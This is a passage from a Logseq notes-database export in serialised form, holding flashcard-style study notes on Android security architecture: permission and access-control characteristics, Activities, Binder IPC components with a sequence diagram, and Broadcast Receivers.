processlogseq____",536872853]],[logseq____"^15logseq____",[400,logseq____"^Ologseq____",logseq____"^16logseq____",536872826]],[logseq____"^15logseq____",[400,logseq____"^Flogseq____",399,536872826]],[logseq____"^15logseq____",[400,logseq____"^Xlogseq____",75,536872826]],[logseq____"^15logseq____",[400,logseq____"^Vlogseq____",398,536872826]],[logseq____"^15logseq____",[400,logseq____"^Ulogseq____",75,536873118]],[logseq____"^15logseq____",[400,logseq____"^;logseq____",logseq____"~u67b855be-ac9c-4f4b-ab87-a2408d3b85f3logseq____",536872826]],[logseq____"^15logseq____",[401,logseq____"^Qlogseq____",logseq____"{:height 1080, :width 720}logseq____",536872930]],[logseq____"^15logseq____",[401,logseq____"^Ologseq____",logseq____"^16logseq____",536872856]],[logseq____"^15logseq____",[401,logseq____"^Flogseq____",400,536872894]],[logseq____"^15logseq____",[401,logseq____"^Xlogseq____",75,536872856]],[logseq____"^15logseq____",[401,logseq____"^Vlogseq____",398,536872856]],[logseq____"^15logseq____",[401,logseq____"^Ulogseq____",75,536873118]],[logseq____"^15logseq____",[401,logseq____"^;logseq____",logseq____"~u67b85651-6f1b-47aa-acbe-f3f1add98486logseq____",536872856]],[logseq____"^15logseq____",[403,logseq____"^Qlogseq____",logseq____"## [[Access Control]] Characteristics of Permissionslogseq____",536872954]],[logseq____"^15logseq____",[403,logseq____"^Ologseq____",logseq____"^16logseq____",536872934]],[logseq____"^15logseq____",[403,logseq____"^@logseq____",false,536872934]],[logseq____"^15logseq____",[403,logseq____"^Flogseq____",390,536872936]],[logseq____"^15logseq____",[403,logseq____"^Xlogseq____",354,536872934]],[logseq____"^15logseq____",[403,logseq____"^Vlogseq____",354,536872936]],[logseq____"^15logseq____",[403,logseq____"^Ulogseq____",37,536872945]],[logseq____"^15logseq____",[403,logseq____"^Ulogseq____",354,536872945]],[logseq____"^15logseq____",[403,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[403,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[403,logseq____"^Hlogseq____",37,536873242]],[logseq____"^15logseq____",[403,logseq____"^;logseq____",logseq____"~u67b8574b-16c6-49fe-993b-8535576b1cf7logseq____",536872934]],[logseq____"^15logseq____",[404,logseq____"^Qlogseq____",logseq____"Permissions *assigned to UID* (subject-centric), but *no object reference* (key-value store)logseq____",536873007]],[logseq____"^15logseq____",[404,logseq____"^Ologseq____",logseq____"^16logseq____",536872954]],[logseq____"^15logseq____",[404,logseq____"^@logseq____",false,536872954]],[logseq____"^15logseq____",[404,logseq____"^Flogseq____",403,536872954]],[logseq____"^15logseq____",[404,logseq____"^Xlogseq____",354,536872954]],[logseq____"^15logseq____",[404,logseq____"^Vlogseq____",403,536872958]],[logseq____"^15logseq____",[404,logseq____"^Ulogseq____",37,536872959]],[logseq____"^15logseq____",[404,logseq____"^Ulogseq____",354,536872959]],[logseq____"^15logseq____",[404,logseq____"^;logseq____",logseq____"~u67b85759-621f-4b49-9668-6e0c650b5e02logseq____",536872954]],[logseq____"^15logseq____",[405,logseq____"^Qlogseq____",logseq____"Inherited from UID (ACL characteristic; UID as [ambient authority](((67b7665b-d447-4148-968c-5e162ec8c3fc)))logseq____",536873059]],[logseq____"^15logseq____",[405,logseq____"^Ologseq____",logseq____"^16logseq____",536873010]],[logseq____"^15logseq____",[405,logseq____"^@logseq____",false,536873010]],[logseq____"^15logseq____",[405,logseq____"^Flogseq____",404,536873010]],[logseq____"^15logseq____",[405,logseq____"^Xlogseq____",354,536873010]],[logseq____"^15logseq____",[405,logseq____"^Vlogseq____",403,536873010]],[logseq____"^15logseq____",[405,logseq____"^Ulogseq____",37,536873049]],[logseq____"^15logseq____",[405,logseq____"^Ulogseq____",60,536873049]],[logseq____"^15logseq____",[405,logseq____"^Ulogseq____",354,536873049]],[logseq____"^15logseq____",[405,logseq____"^Hlogseq____",60,536873242]],[logseq____"^15logseq____",[405,logseq____"^;logseq____",logseq____"~u67b857b6-042b-4f23-b1d6-cd4ecd2978b0logseq____",536873010]],[logseq____"^15logseq____",[406,logseq____"^Qlogseq____",logseq____"Permission delegation via [URI permissions](((67b85233-f3c4-410b-adaa-326869c76c1a))) and [Pending Intents](((67b85581-3a7d-4f14-ae8e-16b0f60c05b3)))logseq____",536873139]],[logseq____"^15logseq____",[406,logseq____"^Ologseq____",logseq____"^16logseq____",536873059]],[logseq____"^15logseq____",[406,logseq____"^@logseq____",false,536873059]],[logseq____"^15logseq____",[406,logseq____"^Flogseq____",405,536873059]],[logseq____"^15logseq____",[406,logseq____"^Xlogseq____",354,536873059]],[logseq____"^15logseq____",[406,logseq____"^Vlogseq____",403,536873059]],[logseq____"^15logseq____",[406,logseq____"^Ulogseq____",37,536873136]],[logseq____"^15logseq____",[406,logseq____"^Ulogseq____",354,536873136]],[logseq____"^15logseq____",[406,logseq____"^Ulogseq____",398,536873136]],[logseq____"^15logseq____",[406,logseq____"^Hlogseq____",398,536873242]],[logseq____"^15logseq____",[406,logseq____"^Hlogseq____",453,536873242]],[logseq____"^15logseq____",[406,logseq____"^;logseq____",logseq____"~u67b857e8-b80b-4384-bb29-579341b2d1d2logseq____",536873059]],[logseq____"^15logseq____",[407,logseq____"^Qlogseq____",logseq____"Revocation by resolving association between permission-string and UIDlogseq____",536873164]],[logseq____"^15logseq____",[407,logseq____"^Ologseq____",logseq____"^16logseq____",536873142]],[logseq____"^15logseq____",[407,logseq____"^@logseq____",false,536873142]],[logseq____"^15logseq____",[407,logseq____"^Flogseq____",406,536873142]],[logseq____"^15logseq____",[407,logseq____"^Xlogseq____",354,536873142]],[logseq____"^15logseq____",[407,logseq____"^Vlogseq____",403,536873142]],[logseq____"^15logseq____",[407,logseq____"^Ulogseq____",37,536873143]],[logseq____"^15logseq____",[407,logseq____"^Ulogseq____",354,536873143]],[logseq____"^15logseq____",[407,logseq____"^;logseq____",logseq____"~u67b8584a-ebf8-4242-b19c-91153c1208falogseq____",536873142]],[logseq____"^15logseq____",[408,logseq____"^Qlogseq____",logseq____"Best decsribed as very simple *attribute-based access control*logseq____",536873211]],[logseq____"^15logseq____",[408,logseq____"^Ologseq____",logseq____"^16logseq____",536873167]],[logseq____"^15logseq____",[408,logseq____"^@logseq____",false,536873167]],[logseq____"^15logseq____",[408,logseq____"^Flogseq____",407,536873167]],[logseq____"^15logseq____",[408,logseq____"^Xlogseq____",354,536873167]],[logseq____"^15logseq____",[408,logseq____"^Vlogseq____",403,536873167]],[logseq____"^15logseq____",[408,logseq____"^Ulogseq____",37,536873212]],[logseq____"^15logseq____",[408,logseq____"^Ulogseq____",354,536873212]],[logseq____"^15logseq____",[408,logseq____"^;logseq____",logseq____"~u67b8587c-abf3-4f6e-a118-1f9e1fa620f9logseq____",536873167]],[logseq____"^15logseq____",[409,logseq____"^12logseq____",2,536873217]],[logseq____"^15logseq____",[410,logseq____"^Klogseq____",1740211142884,536873220]],[logseq____"^15logseq____",[410,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[410,logseq____"^Ylogseq____",logseq____"broadcast receiverlogseq____",536873220]],[logseq____"^15logseq____",[410,logseq____"^11logseq____",logseq____"Broadcast Receiverlogseq____",536873220]],[logseq____"^15logseq____",[410,logseq____"^Blogseq____",1740211142884,536873220]],[logseq____"^15logseq____",[410,logseq____"^;logseq____",logseq____"~u67b983c7-12d7-45d3-ad5f-7e6badb9e06dlogseq____",536873236]],[logseq____"^15logseq____",[411,logseq____"^Klogseq____",1740211142882,536873220]],[logseq____"^15logseq____",[411,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[411,logseq____"^Ylogseq____",logseq____"activitylogseq____",536873220]],[logseq____"^15logseq____",[411,logseq____"^11logseq____",logseq____"Activitylogseq____",536873220]],[logseq____"^15logseq____",[411,logseq____"^Blogseq____",1740213141527,536873793]],[logseq____"^15logseq____",[411,logseq____"^;logseq____",logseq____"~u67b983c7-5bab-4c4b-85cf-2d32a96c7c28logseq____",536873236]],[logseq____"^15logseq____",[412,logseq____"^Klogseq____",1740211142883,536873220]],[logseq____"^15logseq____",[412,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[412,logseq____"^Ylogseq____",logseq____"content providerlogseq____",536873220]],[logseq____"^15logseq____",[412,logseq____"^11logseq____",logseq____"Content Providerlogseq____",536873220]],[logseq____"^15logseq____",[412,logseq____"^Blogseq____",1740211142883,536873220]],[logseq____"^15logseq____",[412,logseq____"^;logseq____",logseq____"~u67b983c8-9daf-401b-b63f-1b69e53f34bclogseq____",536873242]],[logseq____"^15logseq____",[413,logseq____"^Klogseq____",1740211142886,536873220]],[logseq____"^15logseq____",[413,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[413,logseq____"^Ylogseq____",logseq____"binder ipclogseq____",536873220]],[logseq____"^15logseq____",[413,logseq____"^11logseq____",logseq____"Binder IPClogseq____",536873220]],[logseq____"^15logseq____",[413,logseq____"^Blogseq____",1740213752823,536874025]],[logseq____"^15logseq____",[413,logseq____"^;logseq____",logseq____"~u67b983c7-2de3-4fa4-a760-b582803b7876logseq____",536873224]],[logseq____"^15logseq____",[414,logseq____"^Qlogseq____",logseq____"## [[Binder IPC]]logseq____",536873220]],[logseq____"^15logseq____",[414,logseq____"^Ologseq____",logseq____"^16logseq____",536873220]],[logseq____"^15logseq____",[414,logseq____"^Flogseq____",309,536873220]],[logseq____"^15logseq____",[414,logseq____"^Xlogseq____",296,536873220]],[logseq____"^15logseq____",[414,logseq____"^Vlogseq____",299,536873220]],[logseq____"^15logseq____",[414,logseq____"^Ulogseq____",296,536873220]],[logseq____"^15logseq____",[414,logseq____"^Ulogseq____",413,536873220]],[logseq____"^15logseq____",[414,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[414,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[414,logseq____"^Hlogseq____",413,536873220]],[logseq____"^15logseq____",[414,logseq____"^;logseq____",logseq____"~u67b983c6-0742-4d15-ab5f-68e24a477807logseq____",536873220]],[logseq____"^15logseq____",[415,logseq____"^Qlogseq____",logseq____"## [[Broadcast Receiver]]logseq____",536873220]],[logseq____"^15logseq____",[415,logseq____"^Ologseq____",logseq____"^16logseq____",536873220]],[logseq____"^15logseq____",[415,logseq____"^Flogseq____",298,536873220]],[logseq____"^15logseq____",[415,logseq____"^Xlogseq____",296,536873220]],[logseq____"^15logseq____",[415,logseq____"^Vlogseq____",300,536873220]],[logseq____"^15logseq____",[415,logseq____"^Ulogseq____",296,536873220]],[logseq____"^15logseq____",[415,logseq____"^Ulogseq____",410,536873220]],[logseq____"^15logseq____",[415,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[415,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[415,logseq____"^Hlogseq____",410,536873220]],[logseq____"^15logseq____",[415,logseq____"^;logseq____",logseq____"~u67b983c6-ea1f-4840-879a-076fdddbd19clogseq____",536873220]],[logseq____"^15logseq____",[417,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536873222]],[logseq____"^15logseq____",[417,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[417,logseq____"^Flogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^Vlogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[417,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[417,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873222]],[logseq____"^15logseq____",[417,logseq____"^Jlogseq____",[],536873222]],[logseq____"^15logseq____",[417,logseq____"^Hlogseq____",2,536873222]],[logseq____"^15logseq____",[417,logseq____"^Hlogseq____",24,536873222]],[logseq____"^15logseq____",[417,logseq____"^;logseq____",logseq____"~u67b983c7-2f0d-4b2f-bf85-0d744ee08b6alogseq____",536873222]],[logseq____"^15logseq____",[418,logseq____"^Qlogseq____",logseq____"Represents screen in an applicationlogseq____",536873222]],[logseq____"^15logseq____",[418,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[418,logseq____"^Flogseq____",417,536873222]],[logseq____"^15logseq____",[418,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[418,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[418,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[418,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[418,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[418,logseq____"^;logseq____",logseq____"~u67b983c7-d2d3-46aa-b43b-c68e061ee3a1logseq____",536873222]],[logseq____"^15logseq____",[419,logseq____"^Qlogseq____",logseq____"Can be composed of different views(/Composables)logseq____",536873222]],[logseq____"^15logseq____",[419,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[419,logseq____"^Flogseq____",418,536873222]],[logseq____"^15logseq____",[419,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[419,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[419,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[419,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[419,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[419,logseq____"^;logseq____",logseq____"~u67b983c7-a759-4312-89ca-736d861134e8logseq____",536873222]],[logseq____"^15logseq____",[420,logseq____"^Qlogseq____",logseq____"Split into fragments (reusable UI modules)logseq____",536873222]],[logseq____"^15logseq____",[420,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[420,logseq____"^Flogseq____",419,536873222]],[logseq____"^15logseq____",[420,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[420,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[420,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[420,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[420,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[420,logseq____"^;logseq____",logseq____"~u67b983c7-4e6b-43ce-8611-36a538eb25cflogseq____",536873222]],[logseq____"^15logseq____",[421,logseq____"^Qlogseq____",logseq____"One main activity per applogseq____",536873222]],[logseq____"^15logseq____",[421,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[421,logseq____"^Flogseq____",420,536873222]],[logseq____"^15logseq____",[421,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[421,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[421,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[421,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[421,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[421,logseq____"^;logseq____",logseq____"~u67b983c7-ac28-4ae3-a243-28b15c35d897logseq____",536873222]],[logseq____"^15logseq____",[422,logseq____"^Qlogseq____",logseq____"## Stateflow/Lifecyclelogseq____",536873222]],[logseq____"^15logseq____",[422,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[422,logseq____"^Flogseq____",504,536873706]],[logseq____"^15logseq____",[422,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[422,logseq____"^Vlogseq____",411,536873222]],[logseq____"^15logseq____",[422,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[422,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873222]],[logseq____"^15logseq____",[422,logseq____"^Jlogseq____",[],536873222]],[logseq____"^15logseq____",[422,logseq____"^;logseq____",logseq____"~u67b983c7-f2c1-45c5-a38f-3fb2a08d6cf5logseq____",536873222]],[logseq____"^15logseq____",[423,logseq____"^Qlogseq____",logseq____"{:height 671, :width 513}logseq____",536873222]],[logseq____"^15logseq____",[423,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[423,logseq____"^Flogseq____",422,536873222]],[logseq____"^15logseq____",[423,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[423,logseq____"^Vlogseq____",422,536873222]],[logseq____"^15logseq____",[423,logseq____"^Ulogseq____",411,536873707]],[logseq____"^15logseq____",[423,logseq____"^;logseq____",logseq____"~u67b983c7-21ef-4703-a9a1-4ba99c9cca1blogseq____",536873222]],[logseq____"^15logseq____",[425,logseq____"^Qlogseq____",logseq____"## General Information #card #security-architecturelogseq____",536873224]],[logseq____"^15logseq____",[425,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[425,logseq____"^Flogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^Vlogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[425,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[425,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873224]],[logseq____"^15logseq____",[425,logseq____"^Jlogseq____",[],536873224]],[logseq____"^15logseq____",[425,logseq____"^Hlogseq____",2,536873224]],[logseq____"^15logseq____",[425,logseq____"^Hlogseq____",38,536873224]],[logseq____"^15logseq____",[425,logseq____"^;logseq____",logseq____"~u67b983c7-e73d-45c5-9b4b-57f87b40ed88logseq____",536873224]],[logseq____"^15logseq____",[426,logseq____"^Qlogseq____",logseq____"Allows for synchronous calls between processeslogseq____",536873224]],[logseq____"^15logseq____",[426,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[426,logseq____"^Flogseq____",433,536873224]],[logseq____"^15logseq____",[426,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[426,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[426,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[426,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[426,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[426,logseq____"^;logseq____",logseq____"~u67b983c7-dc61-449c-9b2e-f96a0d9223calogseq____",536873224]],[logseq____"^15logseq____",[427,logseq____"^Qlogseq____",logseq____"Service Manager (/Context Manager) (4): Used as registry/lookup for other Binder objectslogseq____",536873224]],[logseq____"^15logseq____",[427,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[427,logseq____"^Flogseq____",434,536873224]],[logseq____"^15logseq____",[427,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[427,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[427,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[427,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[427,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[427,logseq____"^;logseq____",logseq____"~u67b983c7-c0eb-489c-a6fe-e47bbc24e031logseq____",536873224]],[logseq____"^15logseq____",[428,logseq____"^Qlogseq____",logseq____"~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant B as Binder Kernel Module\\n participant S as App Process S (Receiver)\\n \\n A-logseq____>logseq____>B: 1) transaction = {recvS, payloadA}\\n B-logseq____>logseq____>S: 2) transaction = {payloadA, UID=A}\\n alt If two-way transaction\\n S-logseq____>logseq____>B: 3) reply = {payloadS}\\n B-logseq____>logseq____>A: 4) reply = {payloadS}\\n end\\n```logseq____",536873224]],[logseq____"^15logseq____",[428,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[428,logseq____"^Flogseq____",430,536873224]],[logseq____"^15logseq____",[428,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[428,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[428,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[428,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[428,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[428,logseq____"^;logseq____",logseq____"~u67b983c7-3806-4ac6-abe5-467dd4ad7f05logseq____",536873224]],[logseq____"^15logseq____",[429,logseq____"^Qlogseq____",logseq____"Binder as patch to Linux kernellogseq____",536873224]],[logseq____"^15logseq____",[429,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[429,logseq____"^Flogseq____",437,536873224]],[logseq____"^15logseq____",[429,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[429,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[429,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[429,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[429,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[429,logseq____"^;logseq____",logseq____"~u67b983c7-c77d-4523-9f91-f2448a3507bdlogseq____",536873224]],[logseq____"^15logseq____",[430,logseq____"^Qlogseq____",logseq____"Per-process thread-pool for processing requestslogseq____",536873224]],[logseq____"^15logseq____",[430,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[430,logseq____"^Flogseq____",426,536873224]],[logseq____"^15logseq____",[430,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[430,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[430,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[430,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[430,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[430,logseq____"^;logseq____",logseq____"~u67b983c7-a88a-4fac-b466-40cd41b968e9logseq____",536873224]],[logseq____"^15logseq____",[431,logseq____"^Qlogseq____",logseq____"IBinder interface (1): well-defined interface Binder objects must implementlogseq____",536873224]],[logseq____"^15logseq____",[431,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[431,logseq____"^Flogseq____",432,536873224]],[logseq____"^15logseq____",[431,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[431,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[431,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[431,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[431,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[431,logseq____"^;logseq____",logseq____"~u67b983c7-e6c4-4255-8877-b1caed0478b1logseq____",536873224]],[logseq____"^15logseq____",[432,logseq____"^Qlogseq____",logseq____"## Components #card #security-architecturelogseq____",536873812]],[logseq____"^15logseq____",[432,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[432,logseq____"^Flogseq____",425,536873224]],[logseq____"^15logseq____",[432,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[432,logseq____"^Vlogseq____",413,536873224]],[logseq____"^15logseq____",[432,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[432,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[432,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[432,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873812]],[logseq____"^15logseq____",[432,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536873812]],[logseq____"^15logseq____",[432,logseq____"^Hlogseq____",2,536873812]],[logseq____"^15logseq____",[432,logseq____"^Hlogseq____",38,536873812]],[logseq____"^15logseq____",[432,logseq____"^;logseq____",logseq____"~u67b983c7-4288-4f1a-a1f6-dd976963d7ablogseq____",536873224]],[logseq____"^15logseq____",[433,logseq____"^Qlogseq____",logseq____"High-performance, shared memory-based IPClogseq____",536873224]],[logseq____"^15logseq____",[433,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[433,logseq____"^Flogseq____",429,536873224]],[logseq____"^15logseq____",[433,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[433,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[433,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[433,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[433,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[433,logseq____"^;logseq____",logseq____"~u67b983c7-e690-4980-b249-8a2e59b392calogseq____",536873224]],[logseq____"^15logseq____",[434,logseq____"^Qlogseq____",logseq____"Binder token (handle/reference) (3): 32-bit integer acting as unique identifierlogseq____",536873224]],[logseq____"^15logseq____",[434,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[434,logseq____"^Flogseq____",435,536873224]],[logseq____"^15logseq____",[434,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[434,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[434,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[434,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[434,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[434,logseq____"^;logseq____",logseq____"~u67b983c7-f950-401b-87f1-5e307c1f7a6blogseq____",536873224]],[logseq____"^15logseq____",[435,logseq____"^Qlogseq____",logseq____"Binder object (2): Generic implementationlogseq____",536873224]],[logseq____"^15logseq____",[435,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[435,logseq____"^Flogseq____",431,536873224]],[logseq____"^15logseq____",[435,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[435,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[435,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[435,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[435,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[435,logseq____"^;logseq____",logseq____"~u67b983c7-b107-4b32-bf40-f68f8f0e798elogseq____",536873224]],[logseq____"^15logseq____",[436,logseq____"^Qlogseq____",logseq____"logseq____",536873224]],[logseq____"^15logseq____",[436,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[436,logseq____"^Flogseq____",427,536873224]],[logseq____"^15logseq____",[436,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[436,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[436,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[436,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[436,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[436,logseq____"^;logseq____",logseq____"~u67b983c7-5b57-4ee5-af4e-f046a0a3ada7logseq____",536873224]],[logseq____"^15logseq____",[437,logseq____"^Qlogseq____",logseq____"Acts as building block for permission enforcementlogseq____",536873224]],[logseq____"^15logseq____",[437,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[437,logseq____"^Flogseq____",425,536873224]],[logseq____"^15logseq____",[437,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[437,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[437,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[437,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[437,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[437,logseq____"^;logseq____",logseq____"~u67b983c7-5e4e-442b-81b6-1ff9eeaef47elogseq____",536873224]],[logseq____"^15logseq____",[439,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536873226]],[logseq____"^15logseq____",[439,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[439,logseq____"^Flogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^Vlogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[439,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[439,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873226]],[logseq____"^15logseq____",[439,logseq____"^Jlogseq____",[],536873226]],[logseq____"^15logseq____",[439,logseq____"^Hlogseq____",2,536873226]],[logseq____"^15logseq____",[439,logseq____"^Hlogseq____",24,536873226]],[logseq____"^15logseq____",[439,logseq____"^;logseq____",logseq____"~u67b983c7-e8ab-4e7b-a24e-cede48ee9e3flogseq____",536873226]],[logseq____"^15logseq____",[440,logseq____"^Qlogseq____",logseq____"Implements a *publish-subscribe* pattern that receives subscribed-to [Intents]([[Intent 